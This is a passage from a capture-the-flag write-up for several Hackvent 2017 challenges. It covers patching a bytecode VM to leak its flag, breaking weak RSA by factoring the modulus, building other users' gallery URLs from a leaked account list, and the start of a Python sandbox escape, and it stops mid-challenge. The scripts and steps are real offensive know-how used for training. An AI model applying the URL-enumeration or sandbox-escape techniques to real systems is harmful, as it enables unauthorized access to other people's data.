def _add(r1, r2): r[r1] = ((r[r1] + r[r2]) & 0xFF) def _addv(r1, v): r[r1] = ((r[r1] + v) & 0xFF) def _sub(r1, r2): r[r1] = ((r[r1] - r[r2]) & 0xFF) def _subv(r1, v): r[r1] = ((r[r1] - v) & 0xFF) def _xor(r1, r2): r[r1] = (r[r1] ^ r[r2]) def _xorv(r1, v): r[r1] = (r[r1] ^ v) def _cmp(r1, r2): f[0] = (r[r1] == r[r2]) def _cmpv(r1, v): f[0] = (r[r1] == v) def _je(o): global ip; ip = (o if f[0] else ip) def _jne(o): global ip; ip = (o if not f[0] else ip) def _wchr(r1): sys.stdout.write(chr(r[r1])) def _rchr(r1): r[r1] = ord(sys.stdin.read(1))
Machine-code:
run('\x04\x00\x00\x04\x01\x01\x04\x02\x02\x04\x03\x03\x05\x02\xbd\x00\x02\x00\x00\x02... ... 20225 bytes ...
Loop with instruction pointer (ip) to run the machine-code:
def run(codez): global ip while ip < len(codez): c_ins = ins[ord(codez[ip])] if c_ins in [_je, _jne]: old_ip = ip c_ins(struct.unpack('<I', codez[(ip+1):(ip+5)])[0]) if old_ip == ip: ip += 5 continue num_of_args = c_ins.func_code.co_argcount if num_of_args == 0: c_ins() elif num_of_args == 1: c_ins(ord(codez[ip+1])) else: c_ins(ord(codez[ip+1]), ord(codez[ip+2])) ip += (1 + num_of_args)
When running the script you are asked to enter the flag:
user@host:~# python muffin_asm.py [ muffin asm ] muffinx: Did you ever codez asm? << flag_getter v1.0 >> ohai, gimmeh flag: test [-] nope!
My first idea was to write a little disassembler to print the machine-code in assembly in order to understand what the code does. When viewing the assembler-instructions again and thinking about what the code does I thought that the most interesting assembler-instructions are _cmp
/ _cmpv
, because these instructions must be used in order to compare the flag, the user entered, with the actual flag.
Thus I added a single line in both functions to output the value of the registers / constant used:
def _cmp(r1, r2): print("r1="+chr(r[r1])+", r2="+chr(r[r2])) # ADDED f[0] = (r[r1] == r[r2]) def _cmpv(r1, v): print("r1="+chr(r[r1])+", v="+chr(v)) # ADDED f[0] = (r[r1] == v)
And ran the script again:
user@host:~# python muffin_asm.py [ muffin asm ] muffinx: Did you ever codez asm? << flag_getter v1.0 >> ohai, gimmeh flag: test r1=t, r2=H [-] nope!
Looks good! The instruction _cmp
is called with r1
being the first character of my input (t
) and r2
being H
which could be a flag, right!? 🙂
Let’s input something more flag-like:
user@host:~# python muffin_asm.py [ muffin asm ] muffinx: Did you ever codez asm? << flag_getter v1.0 >> ohai, gimmeh flag: HV17-test r1=H, r2=H r1=V, r2=V r1=1, r2=1 r1=7, r2=7 r1=-, r2=- r1=t, r2=m [-] nope!
Now script does not abort after the first character because r1
and r2
match for the first 5 characters. The script aborts at the 6th character because the t
I entered (r1
) should be an m
(r2
).
So now we could just restart the script and sequentially grab every character of the flag. Or we simply adjust the cmp
instruction a little bit:
def _cmp(r1, r2): sys.stdout.write(chr(r[r2])) f[0] = True
The first added line prints a single character of the flag (value of r2
). The adjustment in the second line lets the comparison always be true
. Thus the script will not stop until every character of the flag is printed.
Now we just have to input a string with the same length of the flag:
user@host:~# python muffin_asm.py [ muffin asm ] muffinx: Did you ever codez asm? << flag_getter v1.0 >> ohai, gimmeh flag: HV17-xxxx-xxxx-xxxx-xxxx-xxxx HV17-mUff!n-4sm-!s-cr4zY[+] valid! by muffinx if you liked the challenge, troll me @ twitter.com/muffiniks =D
Done 🙂
The flag is HV17-mUff!n-4sm-!s-cr4zY
.
Day 14: Happy Cryptmas
|
Author: HaRdLoCk |
todays gift was encrypted with the attached program. try to unbox your xmas present.
Flag: Download |
Let’s have a look at the provided program:
user@host:~# unzip happy_cryptmas.zip Archive: happy_cryptmas.zip inflating: hackvent user@host:~# file hackvent hackvent: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
So we are dealing with a Mach-O executable, used by systems based on the Mach kernel (macOS, iOS).
radare2
supports Mach-O files:
user@host:~# r2 hackvent [0x100000cc0]> aaaa [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze len bytes of instructions for references (aar) [x] Analyze function calls (aac) [x] Emulate code to find computed references (aae) [x] Analyze consecutive function (aat) [aav: using from to 0x100000000 0x10000233c Using vmin 0x100000cc0 and vmax 0x100001068 aav: using from to 0x100000000 0x10000233c Using vmin 0x100000cc0 and vmax 0x100001068 [x] Analyze value pointers (aav) [can't find function prototype for sym.imp.__gmpz_initc.* functions (aan) can't find function prototype for sym.imp.__gmpz_init can't find function prototype for sym.imp.__gmpz_init_set_str can't find function prototype for sym.imp.__gmpz_init_set_str can't find function prototype for sym.imp.__gmpz_import can't find function prototype for sym.imp.__gmpz_cmp can't find function prototype for sym.imp.__gmpz_clears Deinitialized mem.0x100000_0xf0000 [x] Type matching analysis for all functions [x] Type matching analysis for all functions [0x100000cc0]> afl 0x100000cc0 8 422 entry0 0x100000e66 1 6 sym.imp.__gmp_printf 0x100000e6c 1 6 sym.imp.__gmpz_clears 0x100000e72 1 6 sym.imp.__gmpz_cmp 0x100000e78 1 6 sym.imp.__gmpz_import 0x100000e7e 1 6 sym.imp.__gmpz_init 0x100000e84 1 6 sym.imp.__gmpz_init_set_str 0x100000e8a 1 6 sym.imp.__gmpz_powm 0x100000e90 1 6 sym.imp.__stack_chk_fail 0x100000e96 1 6 sym.imp.abort 0x100000e9c 1 6 sym.imp.strlen ...
After analyzing the binary (aaaa
) we can list all functions with the afl
command.
The number of __gmpz
functions stand out. Googling for these functions revealed that GMP stands for The GNU Multiple Precision Arithmetic Library. The library provides functions for arbitrary precision calculations.
Let’s see how these functions are used:
[0x100000cc0]> pdf @ entry0 ;-- main: ;-- section.0.__text: ;-- _main: ;-- func.100000cc0: / (fcn) entry0 422 | entry0 (); | ; var int local_b0h @ rbp-0xb0 | ; var int local_ach @ rbp-0xac | ; var int local_a8h @ rbp-0xa8 | ; var int local_a0h @ rbp-0xa0 | ; var int local_94h @ rbp-0x94 | ; var int local_90h @ rbp-0x90 | ; var int local_88h @ rbp-0x88 | ; var int local_84h @ rbp-0x84 | ; var int local_80h @ rbp-0x80 | ; var int local_74h @ rbp-0x74 | ; var int local_70h @ rbp-0x70 | ; var int local_68h @ rbp-0x68 | ; var int local_64h @ rbp-0x64 | ; var int local_60h @ rbp-0x60 | ; var int local_50h @ rbp-0x50 | ; var int local_40h @ rbp-0x40 | ; var int local_20h @ rbp-0x20 | ; var int local_8h @ rbp-0x8 | ; CALL XREF from 0x100000cc0 (entry0) | 0x100000cc0 55 push rbp ; [0] va=0x100000cc0 pa=0x00000cc0 sz=422 vsz=422 rwx=m-r-x 0.__text | 0x100000cc1 4889e5 mov rbp, rsp | 0x100000cc4 4881ecc00000. sub rsp, 0xc0 | 0x100000ccb 488b052e0300. mov rax, qword [reloc.__stack_chk_guard_0] ; [0x100001000:8]=0 LEA reloc.__stack_chk_guard_0 ; reloc.__stack_chk_guard_0 | 0x100000cd2 488b00 mov rax, qword [rax] | 0x100000cd5 488945f8 mov qword [rbp - local_8h], rax | 0x100000cd9 c7459c000000. mov dword [rbp - local_64h], 0 | 0x100000ce0 897d98 mov dword [rbp - local_68h], edi | 0x100000ce3 48897590 mov qword [rbp - local_70h], rsi | 0x100000ce7 837d9801 cmp dword [rbp - local_68h], 1 ; [0x1:4]=0x7feedfa | ,=< 0x100000ceb 0f850c000000 jne 0x100000cfd | | 0x100000cf1 c7459c000000. mov dword [rbp - local_64h], 0 | ,==< 0x100000cf8 e935010000 jmp 0x100000e32 | |`-> 0x100000cfd 488d7db0 lea rdi, qword [rbp - local_50h] | | 0x100000d01 e878010000 call sym.imp.__gmpz_init | | 0x100000d06 488d7da0 lea rdi, qword [rbp - local_60h] | | 0x100000d0a e86f010000 call sym.imp.__gmpz_init | | 0x100000d0f 488d35020200. lea rsi, qword str.F66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51 ; 0x100000f18 ; section.3.__cstring ; "F66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51" @ 0x100000f18 | | 0x100000d16 ba10000000 mov edx, 0x10 | | 0x100000d1b 488d7de0 lea rdi, qword [rbp - local_20h] | | 0x100000d1f e860010000 call sym.imp.__gmpz_init_set_str | | 0x100000d24 488d356e0200. lea rsi, qword str.65537 ; 0x100000f99 ; str.65537 ; "65537" @ 0x100000f99 | | 0x100000d2b ba0a000000 mov edx, 0xa | | 0x100000d30 488d7dc0 lea rdi, qword [rbp - local_40h] | | 0x100000d34 89458c mov dword [rbp - local_74h], eax | | 0x100000d37 e848010000 call sym.imp.__gmpz_init_set_str | | 0x100000d3c ba01000000 mov edx, 1 | | 0x100000d41 b901000000 mov ecx, 1 | | 0x100000d46 4531c0 xor r8d, r8d | | 0x100000d49 4531c9 xor r9d, r9d | | 0x100000d4c 488d7db0 lea rdi, qword [rbp - local_50h] | | 0x100000d50 488b7590 mov rsi, qword [rbp - local_70h] | | 0x100000d54 488b7608 mov rsi, qword [rsi + 8] ; [0x8:8]=0x280000003 | | 0x100000d58 48897d80 mov qword [rbp - local_80h], rdi | | 0x100000d5c 4889f7 mov rdi, rsi ; const char * s | | 0x100000d5f 89857cffffff mov dword [rbp - local_84h], eax | | 0x100000d65 899578ffffff mov dword [rbp - local_88h], edx | | 0x100000d6b 48898d70ffff. mov qword [rbp - local_90h], rcx | | 0x100000d72 4489856cffff. mov dword [rbp - local_94h], r8d | | 0x100000d79 4c898d60ffff. mov qword [rbp - local_a0h], r9 | | 0x100000d80 e817010000 call sym.imp.strlen ; size_t strlen(const char *s); | | 0x100000d85 488b4d90 mov rcx, qword [rbp - local_70h] | | 0x100000d89 488b4908 mov rcx, qword [rcx + 8] ; [0x8:8]=0x280000003 | | 0x100000d8d 488b7d80 mov rdi, qword [rbp - local_80h] | | 0x100000d91 4889c6 mov rsi, rax | | 0x100000d94 8b9578ffffff mov edx, dword [rbp - local_88h] | | 0x100000d9a 488b8570ffff. mov rax, qword [rbp - local_90h] | | 0x100000da1 48898d58ffff. mov qword [rbp - local_a8h], rcx | | 0x100000da8 4889c1 mov rcx, rax | | 0x100000dab 448b856cffff. mov r8d, dword [rbp - local_94h] | | 0x100000db2 4c8b8d60ffff. mov r9, qword [rbp - local_a0h] | | 0x100000db9 4c8b9558ffff. mov r10, qword [rbp - local_a8h] | | 0x100000dc0 4c891424 mov qword [rsp], r10 | | 0x100000dc4 e8af000000 call sym.imp.__gmpz_import | | 0x100000dc9 488d75e0 lea rsi, qword [rbp - local_20h] | | 0x100000dcd 488d7db0 lea rdi, qword [rbp - local_50h] | | 0x100000dd1 e89c000000 call sym.imp.__gmpz_cmp | | 0x100000dd6 83f800 cmp eax, 0 | |,=< 0x100000dd9 0f8e05000000 jle 0x100000de4 | || 0x100000ddf e8b2000000 call sym.imp.abort ; void abort(void); | |`-> 0x100000de4 488d4de0 lea rcx, qword [rbp - local_20h] | | 0x100000de8 488d55c0 lea rdx, qword [rbp - local_40h] | | 0x100000dec 488d75b0 lea rsi, qword [rbp - local_50h] ; arithmetic y | | 0x100000df0 488d7da0 lea rdi, qword [rbp - local_60h] ; arithmetic x | | 0x100000df4 e891000000 call sym.imp.__gmpz_powm ; floating_point pow(arithmetic x, arithmetic y); | | 0x100000df9 488d3d9f0100. lea rdi, qword str.Crypted:__ZX_n ; 0x100000f9f ; str.Crypted:__ZX_n ; "Crypted: %ZX." @ 0x100000f9f ; const char * format | | 0x100000e00 488d75a0 lea rsi, qword [rbp - local_60h] | | 0x100000e04 b000 mov al, 0 | | 0x100000e06 e85b000000 call sym.imp.__gmp_printf ; int printf(const char *format); | | 0x100000e0b 4531c0 xor r8d, r8d | | 0x100000e0e 488d4dc0 lea rcx, qword [rbp - local_40h] | | 0x100000e12 488d55e0 lea rdx, qword [rbp - local_20h] | | 0x100000e16 488d75a0 lea rsi, qword [rbp - local_60h] | | 0x100000e1a 488d7db0 lea rdi, qword [rbp - local_50h] | | 0x100000e1e 898554ffffff mov dword [rbp - local_ach], eax | | 0x100000e24 b000 mov al, 0 | | 0x100000e26 e841000000 call sym.imp.__gmpz_clears | | 0x100000e2b c7459c000000. mov dword [rbp - local_64h], 0 | | ; JMP XREF from 0x100000cf8 (entry0) | `--> 0x100000e32 8b459c mov eax, dword [rbp - local_64h] | 0x100000e35 488b0dc40100. mov rcx, qword [reloc.__stack_chk_guard_0] ; [0x100001000:8]=0 LEA reloc.__stack_chk_guard_0 ; reloc.__stack_chk_guard_0 | 0x100000e3c 488b09 mov rcx, qword [rcx] | 0x100000e3f 488b55f8 mov rdx, qword [rbp - local_8h] | 0x100000e43 4839d1 cmp rcx, rdx | 0x100000e46 898550ffffff mov dword [rbp - local_b0h], eax | ,=< 0x100000e4c 0f850f000000 jne 0x100000e61 | | 0x100000e52 8b8550ffffff mov eax, dword [rbp - local_b0h] | | 0x100000e58 4881c4c00000. add rsp, 0xc0 | | 0x100000e5f 5d pop rbp | | 0x100000e60 c3 ret \ `-> 0x100000e61 e82a000000 call sym.imp.__stack_chk_fail; void __stack_chk_fail(void); [0x100000cc0]>
With the command pdf @ entry0
the entry-function is disassembled and we can see how the functions are used. The relevant parts in the output above are highlighted.
At first 4 arbitrary-length integers are initalized:
- At
0x100000d01
(line 41) the function__gmpz_init is
called to create an integers stored atrbp - local_50h
. - At
0x100000d0a
(line 43) the function__gmpz_init is
called to create an integers stored atrbp - local_60h
. - At
0x100000d1f
(line 47) the function__gmpz_init_set_str
is called to create an integer stored atrbp - local_20h
and initalize it with the string"F66EB887F2B8A620FD03C7D0633791CB..."
. - At
0x100000d37
(line 52) the function__gmpz_init_set_str
is called to create an integer stored atrbp - local_40h
and initalize it with the string"65537"
.
Then at 0x100000d4c
(line 57) the address of the newly created integer stored at rbp - local_50h
is also stored at rbp - local_80h
(0x100000d58
).
The call to __gmpz_import
at 0x100000dc4
(line 57) basically takes the input to the program and stores it as an integer at rbp - local_80h
.
Finally the function __gmpz_powm
is called at 0x100000df4
(line 91) in order to calculate the crypted flag which is printed with the function __gmp_printf
called at 0x100000e06
(line 95).
Summing it all up the program looks like the following (pseudo-code):
mpz_t integ50; mpz_t integ60; mpz_init(integ50); mpz_init(integ60); mpz_t integ20; mpz_init_set_str(integ20, "F66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51", 16); mpz_t integ40; mpz_init_set_str(integ40, "65537", 10); mpz_t integ80 = integ50; len = strlen(input); mpz_import(integ80, len, 1, 1, 0, 0, input); mpz_powm(integ60, integ50, integ40, integ20); | | | |-> constant (mod) | | |-> 65537 (exp) | |-> base |-> result gmp_printf("crypted: %ZX\n", integ60);
Remembering that integ50
and integ80
refer to the same integer the program simply calculates the following equation:
g ^ x = y ( mod N )
Where:
g
– base : this value is the input to the program and is unknown. This must be the plaintext-flag!
x
– exponent: this value is stored in integ40
which has been initialized with 65537
.
y
– result : this value is stored in integ60
and is printed by the program. This is the encrypted flag from the challenge description (0x7A9FDCA5BB061D0D638BE1442586F3488B536399BA05A14FCAE3F0A2E5F268F2F3142D1956769497AE677A12E4D44EC727E255B391005B9ADCF53B4A74FFC34C
).
N
– modulo : this value is stored in integ20
which has been initialized with 0xF66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51
.
Thus all we have to do is to calculate g using a little bit math:
Our equation …
g^x = y (mod N)
.. can be reorder to solve the equation for g
using phi
:
g = y ^ (x^-1 mod phi(N)) (mod N)
phi(N)
is defined as (p-1)*(q-1)
:
g = y ^ (x^-1 mod (p-1)*(q-1)) (mod N)
p
and q
are the factors of N
. Thus N = p * q
.
So what is missing to solve the equation?
We don’t know p
and q
(yet). Thus we have to factorize N
.
This is a quite challenging task because N
is very large. Luckily there exists pages like http://factordb.com to help us out.
After entering our N
we get the corresponding p
and q
:
--> p = 18132985757038135691 --> q = 711781150511215724435363874088486910075853913118425049972912826148221297483065007967192431613422409694054064755658564243721555532535827
Thus:
phi(N) = 18132985757038135690 * 711781150511215724435363874088486910075853913118425049972912826148221297483065007967192431613422409694054064755658564243721555532535826 = 12906717464348092265244629060349066959825836365560827526746812703342315470079490199626403833118069465749256760657457871243234163897200332638336853174229940
Now we have to calculate x^-1 mod phi(N)
. This is also called the modular multiplicative inverse and can be calculated with the extended euclidean algorithm.
The following python-script initializes all required variables with our already known values, calculates the modular multiplicative inverse and solves the equation for g
:
#!/usr/bin/python def egcd(a, b): x,y, u,v = 0,1, 1,0 while a != 0: q, r = b//a, b%a m, n = x-u*q, y-v*q b,a, x,y, u,v = a,r, u,v, m,n gcd = b return gcd, x, y def main(): N = 0xF66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51 p = 18132985757038135691 q = 711781150511215724435363874088486910075853913118425049972912826148221297483065007967192431613422409694054064755658564243721555532535827 e = 65537 y = 0x7A9FDCA5BB061D0D638BE1442586F3488B536399BA05A14FCAE3F0A2E5F268F2F3142D1956769497AE677A12E4D44EC727E255B391005B9ADCF53B4A74FFC34C # compute phi(N) phi = (p - 1) * (q - 1) # compute modular inverse of e gcd, x1, b = egcd(e, phi) # make x1 positive x1 = x1 + phi # decrypt flag (solve for g) g = pow(y, x1, N) print(g) if __name__ == "__main__": main()
Running the script finally reveals g
:
user@host:~# ./solve.py 1950193263214537087126063880738805970134683456457941605829795971018850
Let’s convert g
to hex:
user@host:~# python ... >>> g = hex(1950193263214537087126063880738805970134683456457941605829795971018850) >>> g '0x485631372d35424d752d6d6744302d473753752d455973702d4d673062L'
Looks like ASCII, doesn’t it? 🙂
... >>> import sys >>> for i in range(2, len(g)-1, 2): ... sys.stdout.write(chr(int(g[i:i+2],16))) ... HV17-5BMu-mgD0-G7Su-EYsp-Mg0b>>>
Done!
The flag is HV17-5BMu-mgD0-G7Su-EYsp-Mg0b
.
Day 15: Unsafe Gallery
|
Author: inik See pictures you shouldn’t see |
The List of all Users of the Unsafe Gallery was leaked (See account list). With this list the URL to each gallery can be constructed. E.g. you find Danny’s gallery here. Now find the flag in Thumper’s gallery. Link to Danny’s gallery account list |
The provided account list contains all gallery-users with an id, prename, name and so forth:
user@host:~$ cat accounts.csv | head id,prename,name,address,zip,city,email,crmId,memberType,pictureCount,galleryCount,mbUsed,logCorrelationId,advertisingId,state 0,Ethan,McCullough,1259 Arborwood Circle,27299,Manchester,Ethan.McCullough@mccullough.com,12739789,silver,26,1,77,19591907,1,disabled 1,Vivian,Parsons,1222 Basin Way,49195,Byromville,Vivian.Parsons@gmx.com,24818112,platin,25,1,71,14903484,7,active 2,Kaitlyn,Wells,1547 Kinzel Station,44404,Gibson,K.Wells@sunflower.org,2024240,platin,28,1,77,98402385,14,active 3,Dakota,Hayes,1709 Akron Trail,3063,Morrow,Dakota.Hayes@sunflower.org,98938964,gold,29,1,76,60973407,21,active 4,Tristan,Clarke,581 Stephens Terrace,62095,Alamo,T.Clarke@sunflower.org,32237218,gold,13,1,38,68087773,28,active 5,Haley,Sharpe,1748 Lawn Square,49681,Valdosta,Haley.Sharpe@outlook.com,92087384,silver,24,1,59,68073856,35,active 6,Wendy,Mosley,1162 Mckaig Circle,82409,Omega,Wendy.Mosley@gmail.com,71594521,gold,21,1,56,15231135,40,disabled 7,Cheyenne,Hooper,1032 Virginia Trail,39759,Villa Rica,C.Hooper@outlook.com,51859355,silver,22,1,57,64079480,45,disabled 8,Kelly,McClain,1662 Carlton Street,32967,Cox,Kelly.McClain@gmail.com,50766454,gold,3,1,7,97619007,48,active
Greping for the user Danny
and Thumper
reveals that there are a few users called Danny
/ Thumper
:
user@host:~$ cat accounts.csv | grep Danny | wc -l 82 user@host:~$ cat accounts.csv | grep Thumper | wc -l 24
The given link leads to the gallery of a user called Danny
. The gallery is accessed with an identifier supposed to be base64-encoded:
http://challenges.hackvent.hacking-lab.com:3958/gallery/bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw
According to the challenge description the URL to each gallery can be constructed with the given account list. Our goal is to access the gallery of Thumper
. Thus we have to:
- Understand how the URL is built from the account-data with the given example for the user
Danny
. - Calculate the URL for
Thumper
. - Access
Tumper
‘s gallery and get the flag.
At first I started by decoding the identifier which seems to be base64-encoded:
user@host:~$ echo "bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw" | base64 -d nw*bè]AW²ö‰Š«@.+zE Càµh°user@host:~$
Ok. Obviously binary data:
user@host:~$ echo "bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw" | base64 -d > id_Danny user@host:~$ hexdump -C id_Danny 00000000 6e 77 2a 62 e8 5d 41 57 b2 f6 89 8a 03 ab 40 16 |nw*b.]AW......@.| 00000010 2e 2b 7a 9d 45 0d 1b 43 e0 7f 1f b5 68 b0 |.+z.E..C....h.| 0000001e
So we have got 30 bytes. What could this be? Since there are 30 bytes and 15 fields for every entry in the account list I thought that this two numbers might be connected. Maybe a checksum for every field is calculated and only the first 2 bytes of the checksum for each field are concatenated. Thus I wrote a python-script and tried this for md5, sha1, sha256, sha512 filtering for the user Danny
:
#!/usr/bin/python import hashlib import sys lookingFor = "6e772a62e85d4157b2f6898a03ab40162e2b7a9d450d1b43e07f1fb568b0" def h1(str): hash = hashlib.sha256() # also try: md5, sha1, sha512, .. hash.update(str) return hash.hexdigest() f = open("accounts.csv", "r") for line in f: arr = line.split(",") if (arr[1] == "Danny"): # filter for user Danny val = "" for i in range(len(arr)): hx = h1(arr[i]) val += hx[-4:] # only take 2 first bytes of checksum (= 4 hex-characters) print("--" + hx) # print total checksum for this field print(val) # print 2-first-byte checksum if (val == lookingFor): print("got it!") print(line) quit()
Running the script:
user@host:~$ ./checksum.py --59e19706d51d39f66711c2653cd7eb1291c94d9b55eb14bda74ce4dc636d015a --662c67141c20e7f8730607d8a22aab33088f766c28101b554f1a177e22d45dc7 --d9e1b51ac9805a3979ca7c91a3c612b2d5875949c994c5c0bc07947886b76eed --49646fde6246284728bdccaf79fe0f19767b42e13ae240d8ecd634a5401673d3 --e0315a161f7bb60167991e203d1af74fca0f78dd5128bbcc69299ad238beb1bc --a397a143329598d443dee5ec83fc7e48b786d22f4f910e829f73446e1d7fc1b5 --157b6c447acb150716f7987bff730f0bc3e3a3fa8b13572e4c8372f42ea93aa6 --501b08d7fdb4e904034def4977ddcb97a08ab521b6a991b99be1e666d3e44d1a --78cde64c3e47f2cbfd9da721f54aacde33779916683c79de86962898feefac21 --b17ef6d19c7a5b1ee83b907c595526dcb1eb06db8227d650d5dda0a9f4ce8cd9 --6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b --31489056e0916d59fe3add79e63f095af3ffb81604691f21cad442a85c7be617 --e1da35d7ff1b22fc7fbd90e6388588c1a7e3528b54bebe904bb5aef5c900355f --8d27ba37c5d810106b55f3fd6cdb35842007e88754184bfc0e6035f9bcede633 --45df5ad5e0ecfa54d3226343e0e6857337494ba6e32f189d1174070665d8c659 015a5dc76eed73d3b1bcc1b53aa64d1aac218cd95b4be617355fe633c659 --aaf5060b9517ba4f550ee34a7f3ed7b05b6e5100a523d3e0aae05bf4f8f7ec34 --662c67141c20e7f8730607d8a22aab33088f766c28101b554f1a177e22d45dc7 --9bb0aacc6d51f1408ed983b84c42e941fca204de70ff5595a4d1b7cff8b22815 --ce205d3d554b0ea8bd4fcb23e8af4075c312f81db895f86c0e9b7ca834080b25 --33d389e41b80558d43c7fd1a35daa0c71825b6ca1ba9a1253f4f2b562e5b6a21 --9bc98c413246d9911fd841165c3711da289d85a61e6030b354bee0c5c1f3abed --5ea08eb3f2b1f12a599391366c921162bed76e3689a0566bba23159248b5c235 --cd20466a64eebc241e1f7b50360c7ad9c68c400b38d837642ce04f3127932dd8 --6c6db489265f1e4a8c6f396a385ab5a39785a722497f6589afc11b433d0a2ddd --7902699be42c8a8e46fbbb4501726517e86b22c56a189f7625a6da49081b2451 --6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b --4523540f1504cd17100c4835e85b7eefd49911580f8efff0599a8f283be6b9e3 --a45169bfee6ba70e774996c08f9d7a50d091fdfefd90c681c1b1a3bf65bea3f6 --318c731917609d7f276fd198b928596360758b0afc5ec9e224022a2fa1403cc0 --45df5ad5e0ecfa54d3226343e0e6857337494ba6e32f189d1174070665d8c659 ec345dc728150b256a21abedc2352dd82ddd24515b4bb9e3a3f63cc0c659 ...
The value I was looking for has not been found :/
Trying the same for md5, sha1, sha512 didn’t reveal anything as well.
At this point I was quite lucky while searching through the output of the script for sha256 and stumbled upon the following line:
... --6e772a62e85d4157b2f6898a03ab40162e2b7a9d7e143f91b43e07ffc7ed5a2c ...
The value is the sha256 checksum for the 7th field (email
). It looks suspiciously similar to the value I am looking for:
sha256 email: 6e772a62e85d4157b2f6898a03ab40162e2b7a9d7e143f91b43e07ffc7ed5a2c looking for : 6e772a62e85d4157b2f6898a03ab40162e2b7a9d450d1b43e07f1fb568b0
I tried different combinations with the checksums for other fields with no success. So I compared the two values again:
sha256 email: 6e772a62e85d4157b2f6898a03ab40162e2b7a9d7e143f91b43e07ffc7ed5a2c looking for : 6e772a62e85d4157b2f6898a03ab40162e2b7a9d???450d1b43e07f?1fb568b0
So the first (long) part is equal. Then there is a gap and another equal part. Followed by another mismatch.
I tried to reassemble how the gallery-id is created:
- The sha256 checksum of the email is calculated. For user Danny this is
6e772a62e85d4157b2f6898a03ab40162e2b7a9d7e143f91b43e07ffc7ed5a2c
. - This value is somehow adjusted.
- The value is encoded using base64.
Hm, what’s when we take step (3) before doing the mysterious adjustment of step (2)?
Encoding our sha256-checksum of the email using base64:
user@host:~$ python ... >>> "6e772a62e85d4157b2f6898a03ab40162e2b7a9d7e143f91b43e07ffc7ed5a2c".decode("hex").encode("base64") 'bncqYuhdQVey9omKA6tAFi4rep1+FD+RtD4H/8ftWiw=\n'
Let’s compare this with the gallery-id:
sha256/base64: bncqYuhdQVey9omKA6tAFi4rep1+FD+RtD4H/8ftWiw= gallery-id : bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw
Now we are getting somewhere! In the gallery-id the characters +
, /
and =
are omitted!
When decoding the gallery-id as a base64-string the original sha256-checksum is messed up and thus we didn’t get an exact match.
Great! Now we know how the gallery-id is build and we can look for Thumper
‘s gallery 🙂
Because there are a few users called Thumper
(24) I wrote a script to calculate the URLs for all of them:
#!/usr/bin/python import hashlib import sys def h1(str): hash_md5 = hashlib.sha256() hash_md5.update(str) return hash_md5.hexdigest() f = open("accounts.csv", "r") for line in f: arr = line.split(",") if (arr[1] == "Thumper"): hx = h1(arr[6]) print(hx) b64 = hx.decode('hex').encode('base64') uri = b64.replace('+', '').replace('/', '').replace('=', '') print("http://challenges.hackvent.hacking-lab.com:3958/gallery/" + uri)
Running the script:
user@host:~$ ./urls fd2a216dc6eb8019f9513ac0b91b70d5e6aa0706b8aee3cd2098a16a5d746bee http://challenges.hackvent.hacking-lab.com:3958/gallery/SohbcbrgBn5UTrAuRtw1eaqBwa4ruPNIJihal10a4 a58b3533d1d01ed49079e2cc52f304fe543595ee0ffff10d40cfa66f13484fdc http://challenges.hackvent.hacking-lab.com:3958/gallery/pYs1M9HQHtSQeeLMUvMElQ1le4PENQMmbxNIT9w d724c5f951fb25bc6ee594e4ccf594a1c554bbb61d57b9c81dd190dc844d48ad http://challenges.hackvent.hacking-lab.com:3958/gallery/1yTFVH7Jbxu5ZTkzPWUocVUu7YdV7nIHdGQ3IRNSK0 ...
We could extend the python-script to get each page and look for a flag by searching for the string HV17. Because there where only 24 URLs I looked them up by myself and finally found:
http://challenges.hackvent.hacking-lab.com:3958/gallery/37qKYVMANnIdJ2V2EDberGmMz9JzS1pfRLVWaIKuBDw:
Done 🙂
The flag is HV17-el2S-0Td5-XcFi-6Wjg-J5aB
.
Day 16: Try to escape …
|
Author: pyth0n33 … from the snake cage |
Santa programmed a secure jail to give his elves access from remote. Sadly the jail is not as secure as expected.
nc challenges.hackvent.hacking-lab.com 1034 |
Let’s give it a try:
user@host:~$ nc challenges.hackvent.hacking-lab.com 1034 _____ .-'` '. __/ __ \\ / \ / \ | ___ | /`\| /`\| | .-' /^\/^\\ | \(/| \(/| |/ |) |)| .-\__/ \__/ | \_/\_/__..._ _...---'-. / _ '. /, , \ '| `\ \\ | )) )) /`| \ `. /) /) | | ` ` .' | `-._ / \ .' | ,_ `--....-' `. __.' , | / /`'''` `'-.____.-' / /, | / / `. `-.-` .' \ / / | `-.__.'| \ | | |-. _.._| | / | | `'. .-''`` | | | / | `-. .'` / / / | | '. /` / / | / |\ \\ / | | | | /\ | || | / | / '. | |\ \ | / | '. / \ `. '. / | \ '---'/ \ '. `-./ \ '. / '. `'. `-._ '.__ '-._____.'--'''''--. '-. `'--._ `.__ `';----` \\ `-. `-. `."'``` ; `'-..,_ `-. `'-. / '. '. '. .' Challenge by pyth0n33. Have fun! The flag is stored super secure in the function SANTA! >>> a =
We can input something to a variable a
and the flag seems to be stored in a function called .
>>> a = SANTA() name 'santa' is not defined >>> a =
It took some time that I realized that the actual problem here is that the input seems to be lower-cased before being evaluated. That’s why the super secure function SANTA
is defined in upper case. When entering SANTA
the input is converted to lower-case santa
, which is not defined.
Maybe we can use eval
in combination with upper
:
>>> a = eval("santa()".upper()) Denied >>> a =
Denied
!? Seems like there has been implemented some kind of blacklist. After trying around a little bit I stumbled upon the following:
